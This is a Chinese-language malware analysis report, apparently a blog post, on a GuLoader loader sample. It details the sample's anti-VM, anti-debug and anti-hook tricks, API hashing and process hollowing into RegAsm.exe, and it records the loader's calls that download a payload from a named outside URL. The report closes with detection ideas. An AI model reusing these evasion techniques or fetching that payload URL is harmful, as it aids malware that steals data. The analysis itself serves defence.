GuLoader分析报告

文章目录

  • GuLoader分析报告
  • 基本信息
      • 样本基本信息
      • 主要执行流程
    • 关键技术概览
      • 反虚拟机
        • 1.内存遍历检测字符串
        • 2.qemu-ga.exe
        • 3.窗口数量检测
      • 反逆向分析
        • 1.花指令
        • 2.反调试
      • DLL函数加载
      • 反HOOK
        • 1.检测一
        • 2.检测二
        • 3.检测三
        • 4,检测四
      • 傀儡进程
      • 加密特征
  • 详细分析
    • 加载器部分
    • 傀儡进程部分
  • 行为检测
    • 修复HOOK&HOOK检测
      • 概述
      • 可行性
    • 窗口数检测
      • 概述
      • 可行性
    • 傀儡进程检测
      • 概述
      • 可行性
    • qemu-ga.exe检测
      • 概述
      • 可行性
    • 反调试检测
      • ZwSetInformationThread
        • 概述
        • 可行性
      • patch DebugBreakPoint&DbgUiRemoteBreakin
        • 概述
        • 可行性
      • 时间差检测
        • 概述
        • 可行性
      • 硬件断点检测
        • 概述
        • 可行性
    • API检测
      • 概述
      • 可行性

基本信息

样本基本信息

样本名称 b89d53ad687ce9c4a808fdab9190a497.exe
样本类型 exe
恶意类型 加载器
样本MD5 b89d53ad687ce9c4a808fdab9190a497
样本SHA 30e2ae0a9d77e37e1dc03fe8d9769672184e1ff5

主要执行流程

样本分配出一段空间,解密shellcode后经过一系列调试检测,虚拟机检测,HOOK检测之后。启动傀儡进程RegAsm.exe,傀儡进程其实为其本身,不过执行路径不同,同样经过一系列检测后进行文件下载…

后面的话主要就是下载数据,异或解密后运行窃密木马(这个网站挂了没分析出)

关键技术概览

反虚拟机

1.内存遍历检测字符串

遍历内存,将内存中的字符串进行加密后与特定数据进行比较,0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D

其中检测到VmtoolsdControlWndClass字符串,弹窗程序不能在虚拟机中运行

2.qemu-ga.exe

调用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)

返回error path not found 否则退出程序

3.窗口数量检测

EnumWindows检测窗口数量与12进行比较

反逆向分析

1.花指令

程序中加了大量花指令,干扰IDA的逆向分析,且其中的花指令还会参与到异或运算之中,不方便进行补丁去除。

2.反调试

  • 将DebugBreakPoint函数patch为0x90
  • 将DbgUiRemoteBreakin前几个字节给Patch了,变成了exit(0)函数
  • rdstc时间差检测,反调试
  • 调用了ZwSetInformationThread(-2,0x11,0,0),将自身从调试器中分离出来
  • 调用CreateProcessInternalW等函数之前会检测第一个字节是否为0xcc断点
  • ZwGetContextThread(-2,)获取线程上下文,判断Dr0,DR1,DR2,DR3,DR6,DR7的值
  • 傀儡进程写入前,会将程序前半部分自身不断异或,如果程序有0xcc断点或者patch,会造成后续傀儡进程的异常

DLL函数加载

程序没有直接调用DLL函数,而是解析DLL格式,根据函数名称加密的值,来确定调用的函数地址。

反HOOK

检测ntdll.dll之中的函数是否被HOOK

1.检测一

检测如下特征二进制码

B8 00 00 00 00  mov eax,0
BA  * *   *  * * mov edx,****//这里感觉有点问题
50  push eax
c3  ret
90  nop
90  nop

将会被修复

2.检测二

B8 **** E0 FF

 B8 ****  mov eax ****E0 FF    jmp eax将其patch为
mov eax ,5
mov edx,xxxxx

3.检测三

检测点为50 c3 90 90

push eax
retn

4,检测四

检测点E8 00 00 00 00****** C2 14 ***** C2 14

call $0
.....
retn 0x14
.....
retn 0x14

傀儡进程

启动了RegAsm.exe作为傀儡进程

加密特征

__asm
{mov edx,0x1505
label1:mov ebx,dexshl edx,5add edx,ebxmovzx ebx,byte ptr ds:[esi];//esi为函数名称地址add edx,ebxadd esi,0x1cmp word ptr ds:[esi],0jnz label1
};如果dll加密,奇数位参与相加运算,add esi,0x2

详细分析

加载器部分

程序首先分配一段内存,四个字节为一组0x929254c4异或密钥shellcode之后利用push,pop对新分配内存进行填值

利用PE结构获取dll函数地址,调用ZwQueryVirtualMemoey(-1,0x10000,0,0x12F700,0X1c,0)<0xe7639e>

遍历内存直到出现数值不为0,后面进行E76009加密,将加密后的数据与特定数据进行比较0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D,在0x612B68检测到字符串vmtoolsdControlWndClass

调用了EnumWindows检测窗口数量与12进行比较大于等于则跳转

调用了ZwProtectVirtualMemory(-1,0x12f80c,12f810,0x40,0x12f814);

12f80c→7c921000

12f810→7a000

12f814→0

将Ntdll内存修改为可读可写可执行


将DebugBreakPoint函数修改为0x90 nop

将DbgUiRemoteBreakin前几个字节给Patch了,变成了exit(0)函数

如果内存中存在如下组合

B8 00 00 00 00 mov eax,0

BA * * * * * mov edx,****

50 push eax

c3 ret

90 nop

90 nop

将会启动patch

检测数据 B8 **** E0FF,mov eax,jmp eax,将其patch为mov eax ,5 mov edx,xxxxx

检测数据E8 00 00 00 00,会将前面5个数据给patch


调用了ZwSetInformationThread(-2,0x11,0,0)进行反调试


调用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)

返回error path not found 否则退出程序

时间差检测反调试

ZwGetContextThread(-2)获取线程上下文信息,并且比较DR0,DR1,DR2,DR3,DR6,DR7,判断是否存在调试行为

检测CreateProcessInternalW等函数第一个字节是否为,0xcc(检测函数断点)或者是否为0x0f0b,0xcd03(这两个不知道检测啥可能是hook)

调用了CreateProcessInternalW(0, “C:\WINDOWS[Microsoft.NET](http://microsoft.net/)\Framework\v2.0.50727\RegAsm.exe”,“C:\Documents and Settings\Administrator\桌面\GuLoad”,0xE80000,0XE80000,0,4,0,0,0XE80400,0XE80800,0)

0XE8000→0XC

0XE80400→0X44

后续调用了OpenFile,ZwCreateSection,ZwMapViewOfSection

ZwWriteVirtualMemory(0x9c,0x90000,0xe70000,0x9000,0x12f928)

ZwGetContextThread,ZwSetContextThread,ZwResumeThread,ZwWaitForSingleObject,ZwTerminateProcess且在每次调用之前都会判断硬件断点,并且在调用的过程中异或了代码段,其中ZwWriteVirtualMemory函数的就是不断异或后的代码段,其实是本身,如果下断点的话会有问题。

傀儡进程部分

InternetSetOptionA(0xcc0004,0x2,0x19fbd8,4)

InternetOpenUrlA(0xcc0004,"http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin“)

InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)

InternetCloseHandle

再次InternetOpenA(“Mozilla/5.0 (Windows NT 6.1; WOWTrident/7.0; rv:11.0)”,0,0,0,0)

InternetOpenUrlA(0xcc0004,“http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin”)

InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)

InternetCloseHandle

因为网站挂了,开始无限循环…

行为检测

修复HOOK&HOOK检测

概述

修复HOOK之前调用了ZwProtectVirtualMemory,修改动态链接库内存凌空为可读可写可执行,可以先一步HOOK ProtectVirtualMemory相关函数.用来判断相关行为

可行性

检测其参数,如果为dll领空,则说明存在反HOOK行为。

针对HOOK可以采用一些不同的inline hook方式进行干扰检测

窗口数检测

概述

可以尝试HOOK EnumWindows函数,可能存在窗口数行为。

可行性

不过一般的程序也可能会有此行为,所以可能进行误判

傀儡进程检测

概述

检测 CreateProcessInternW,ZwSetContextThread,ZwResumeThread,相关函数参数来判断是否存在傀儡进程。

可行性

Hook CreateProcessInternW函数,获取启动进程名称

Hook ZwSetContextThread和ZwResumeThread函数参数可以确定句柄。

qemu-ga.exe检测

概述

检测字符串为C:\Program Files\Qemu-ga\qemu-ga.exe,说明存在虚拟机检测。

可行性

可以通过HookCreateFileA文件操作相关函数,查看其参数确定行为

反调试检测

ZwSetInformationThread

概述

HOOK API ZwSetInformationThread 判断其行为

可行性

判断第二个参数为0x11说明存在反调试行为

patch DebugBreakPoint&DbgUiRemoteBreakin

概述

判断函数内存前几个字节是否被patch

可行性

根据PEB获取kernel32.dll基址,获取GetProcAddress地址后找到LoadLibrary地址,再利用LoadLibary函数获取ntdll地址,最后利用GetPorcAddress获取DebugBreakPoint,DbgUiRemoteBreakin地址,查询前几个字节是否有变动。如果改变则可能存在反调试行为。

时间差检测

概述

检测机器码0f31用来判断rdstc时间差检测反调试。

可行性

由于机器码长度过短,且程序在运行过程中不断异或加解密自身,可能会存在误报现象。

硬件断点检测

概述

通过Hook ZwGetContextThread来确定其可疑行为

可行性

不过普通程序也会调用该API,且获取线程上下文不一定是判断硬件断点所用,所以可能会误判

API检测

概述

通过检测导入表来判断API

可行性

程序解析DLL格式,遍历函数名称,通过函数名称生成哈希比较,来确定获取的DLL的名称及其地址,不太好检测导入DLL或者字符串来判断导入函数确定行为

GuLoader分析报告相关推荐

  1. 最新的全球编程语言,操作系统,web服务器等使用率分析报告

    由www.w3techs.com 根据alexa排名前100万的网站数据给出的分析报告,并每天持续更新. 1.服务器端编程语言排名 http://w3techs.com/technologies/ov ...

  2. oracle如何自动分析报告,ORACLE 性能分析报告的获取

    ORACLE 性能分析报告的获取: 我们都知道,在oracle数据库当中有性能分析报告的设计,如ASH,AWR,ADDM,AWRDD,AWRSQRPT,这些报告就像我们去医院的检查报告一样,我们在这个 ...

  3. 用哪种语言写的应用漏洞最严重?六大主流语言代码漏洞分析报告出炉

    来源:机器之心 本文约1600字,建议阅读5分钟 静态代码分析安全公司 Veracode 近日发布了一份应用程序分析报告,结果发现比起 JavaScript 和 Python 等语言,C++ 和 PH ...

  4. 全球大数据发展分析报告

    来源:人工智能产业链联盟   国智清创雄安机器人研究院 <2018全球大数据发展分析报告>由天府大数据国际战略与技术研究院联合中国科学院虚拟经济与数据科学研究中心.中国科学院大数据挖掘与知 ...

  5. M1事后分析报告--We have power to change the origin state

    M1事后分析报告 设计与实现 我们发的软件解决的问题?是否满足后面小组的要求?是否能够完全拟合前期目标? 答: 前期我们的软件完成量并不是特别让人满意,我们组在完成这些任务量之后,发现有很多地方是在做 ...

  6. Countly 19.02.1 发布,实时移动和 web 分析报告平台

    百度智能云 云生态狂欢季 热门云产品1折起>>>   实时移动和 web 分析报告平台 Countly 19.02.1 发布了. 新版更新内容主要有: 新特性 [前端] 根据路由名称 ...

  7. Xshell高级后门完整分析报告

    Xshell高级后门完整分析报告 from:https://security.tencent.com/index.php/blog/msg/120 1. 前言 近日,Xshell官方发布公告称其软件中 ...

  8. 【Android 电量优化】电量优化 ( Battery Historian 环境要求 | 电量分析报告 | 电量优化三原则 | 电量优化注意事项 )

    文章目录 一.Battery Historian 环境要求 二.上传电量报告 三.Battery Historian 电量分析报告 四.电量优化三原则 五.电量优化注意事项 参考 Google 官方文 ...

  9. 【Android 电量优化】电量优化 ( 获取电量分析报告 | 阿里云服务器搭建 Battery Historian | 上传并生成分析报告 )

    文章目录 一.Battery Historian 搭建环境 二.获取 Android 手机电量报告 1.重置电量状态 2.开启获取 WeakLock 信息 3.获取手机电量报告 三.阿里云服务器搭建 ...

最新文章

  1. 运维工程师的职责和前景
  2. AJPFX关于单例设计模式
  3. Linux 硬件信息命令
  4. SpringBoot Mybatis EnumTypeHandler自定义统一处理器
  5. WPF企业内训全程实录(下)
  6. 非root用户ssh 执行 sudo远程机器免密钥
  7. 构建之法第一、二、十六章
  8. [转] ASP.NET中使用javascript
  9. 【廖雪峰官方网站/Java教程】Maven基础
  10. 网页websocket服务器端,node.js中ws模块创建服务端和客户端,网页WebSocket客户端
  11. mysql c3p0 释放连接_mysql重启后,防止c3p0丢掉连接数_mysql
  12. 分布式系统面临的问题
  13. 文件夹自定义重命名的步骤
  14. 让oracle开机自动启动,设置CentOS下开机自动启动Oracle
  15. 订单拆单-产品逻辑分析研究
  16. frame切换/窗口切换
  17. JS 区分+0和-0
  18. 汉字编码(【Unicode】 【UTF-8】 【Unicode与UTF-8之间的转换】 【汉字 Unicode 编码范围】【中文标点Unicode码】【GBK编码】【批量获取汉字UNICODE码】)
  19. 【系统架构师】软件架构设计——2需求与质量属性
  20. 一寸照纯红色底图片_如何用最快的速度给证件照换底色?

热门文章

  1. 国科大人工智能学院《计算机视觉》课 —计算机视觉常用优化方法
  2. 杭州天谷信息科技有限公司陶安新:电子签名+数据存证助力供应链金融发展
  3. 求chen混沌系统仿真程序
  4. ansible批量配置管理
  5. 分享一个微信域名检测API接口
  6. 3、switch 语句-项目5-个人所得税计算器(2011版个税)
  7. 微信视频直播截图及如何分享到朋友圈和微信群截图(多图)
  8. Roadstar.ai CEO佟显乔:我们要做无人车领域的滴滴 还要改变世界
  9. Java基础:获取操作系统及浏览器信息
  10. 入职一个月的工作感悟